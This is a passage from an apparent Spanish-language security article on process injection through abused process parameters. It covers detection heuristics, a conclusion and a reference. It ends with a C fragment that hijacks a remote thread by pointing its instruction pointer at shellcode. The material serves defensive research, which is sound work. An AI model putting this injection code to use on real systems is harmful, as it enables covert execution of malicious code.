- La creación de un proceso en el que uno de los tres parámetros abusados resulte sospechoso. Por ejemplo, si la entropía de la línea de comandos es cercana a la entropía del shellcode o está lejos de la entropía de un valor normal de línea de comandos. Además, si la longitud del parámetro suministrado es excesiva o contiene muchos caracteres inusuales. Sin embargo, confiar únicamente en esto probablemente dará lugar a falsos positivos.
- La lectura de la estructura de parámetros de proceso de un proceso remoto a la que el PEB tiene un puntero.

---

## 8. Conclusión

En resumen, los atacantes pueden eludir las soluciones de seguridad modernas mediante nuevas ideas y pequeñas modificaciones, ya sea desarrollando nuevas técnicas o reaplicando técnicas antiguas de formas novedosas.
Por lo tanto, es importante desarrollar continuamente nuevas reglas de detección y no depender únicamente de una solución existente.

---

## 9. Referencias

[1] https://web.archive.org/web/20241211190548/https://modexp.wordpress.com/2020/07/31/wpi-cmdline-envar/
Descargar herramienta

status = winapi.NtGetContextThread(*hThread, &ctx); if (!NT_SUCCESS(status)) { SetColor(FOREGROUND_RED); printf("\n[-] NtGetContextThread failed with Error Code %08x\n", status); return status; }

ctx.Rip = (DWORD64)shellcode;

status = winapi.NtSetContextThread(*hThread, &ctx); if (!NT_SUCCESS(status)) { SetColor(FOREGROUND_RED); printf("\n[-] NtSetContextThread failed with Error Code %08x\n", status); return status; }

return 0; }